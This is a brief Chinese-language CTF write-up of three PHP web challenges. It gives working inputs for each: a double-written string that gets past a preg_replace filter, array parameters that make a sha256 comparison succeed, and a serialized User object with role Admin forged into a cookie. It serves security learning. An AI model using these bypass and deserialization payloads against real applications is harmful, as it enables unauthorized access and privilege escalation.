web

Pretty Horrible Program 1

考点:双写绕过preg_replace

1
2
3
4
5
6
7
8
9
<?php
if (isset($_GET['bingus'])) {
$input = $_GET['bingus'];
$to_replace = 'bingus';
$clean_string = preg_replace("/$to_replace/", '', $input);
echo "<p>Your string is: $clean_string</p>";
if ($clean_string == $to_replace) {
echo "<h2 class=\"answer\">Bingus <span style=\"color: green;\">IS</span> your beloved</h2>";
output_flag();

$clean_string = preg_replace(“/$to_replace/“, ‘’, $input);
关键代码,get传参一个bingus,由于preg_replace会把一个bingus替换为空,但是下面又要等于bingus,我们可以双写bingbingusus
image-20220402162035760

Pretty Horrible Program 3

考点:hash强碰撞

1
2
3
4
5
6
7
8
9
10
11
?php
if (isset($_GET['input1']) and isset($_GET['input2'])) {
if ($_GET['input1'] == $_GET['input2']) {
print '<h3 class="error">Nice try, but it won\'t be that easy ;)</h3>';
} else if (hash("sha256", $_GET['input1']) === hash("sha256", $_GET['input2'])) {
output_flag();
} else {
print '<h3 class="error">Your inputs don\'t match</h3>';
}
}
?>

这里我们需要输入input1和input2,并且1与2不能相同,但是他们的sha256要相同可以这样绕过
input1[]=1&input2[]=2

image-20220402164521180

Pretty Horrible Program 2

考点:简单php反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class User
{
//public $role = 'User';
public $role="Admin";

// public function is_admin()
// {
// if ($this->role == 'Admin') {
// return true;
// } else {
// return false;
// }
// }

// public function __sleep()
// {
// return array($this->role);
// }
}
$s = new User();
$c = serialize($s);
echo $c;//O:4:"User":1:{s:4:"role";s:5:"Admin";}
?>

这里cookie 的role必须要是admin,所以我们把User换成admin,其他注释掉,输出就可以了
由于我们这里是post 和 cookie提交 ,要注意编码问题,我们这里直接urlencode,提交就可以了

image-20220402181841597

最后

一直在路上